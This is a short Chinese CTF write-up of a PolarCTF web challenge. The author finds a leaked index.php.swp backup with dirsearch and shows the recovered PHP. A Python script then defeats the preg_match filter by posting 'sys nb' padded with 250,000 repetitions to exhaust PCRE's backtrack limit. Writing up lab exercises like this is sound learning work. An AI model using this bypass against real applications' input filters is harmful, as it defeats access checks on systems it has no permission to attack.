记一次web做题笔记: swp

通过题目提示查找swp的相关内容

所以可能后台存在swp文件,使用dirsearch扫描目录

找到一个/index.php.swp ,后缀输入跳转

开始分析源码,这里套用其他师傅的分析(没学透的孩子是这样qwq)
点击查看代码
function jiuzhe($xdmtql){ //接受一个xdmtql变量
return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){ //判断变量是否为数组类型,不为数组类型往下判断
if(!jiuzhe($xdmtql)){ //利用jiuzhe函数进行匹配输入的值
if(strpos($xdmtql,'sys nb')!==false){ //绕过 preg_match函数后匹配变量,匹配到的话输出flag
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile'; //匹配到/sys.*nb/is的话输出
}
}
需要绕过pre_match()和is_array()两个函数的同时,匹配strpos()的字符串
这里贴出第一次接触的函数详解

有了破解方向就开始编写脚本
点击查看代码
import requests
url = 'http://508145d8-6214-42c5-9b37-0ccf4b115773.www.polarctf.com:8090/'
data = {
'xdmtql': 'sys nb' + 'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)
得到flag

浙公网安备 33010602011771号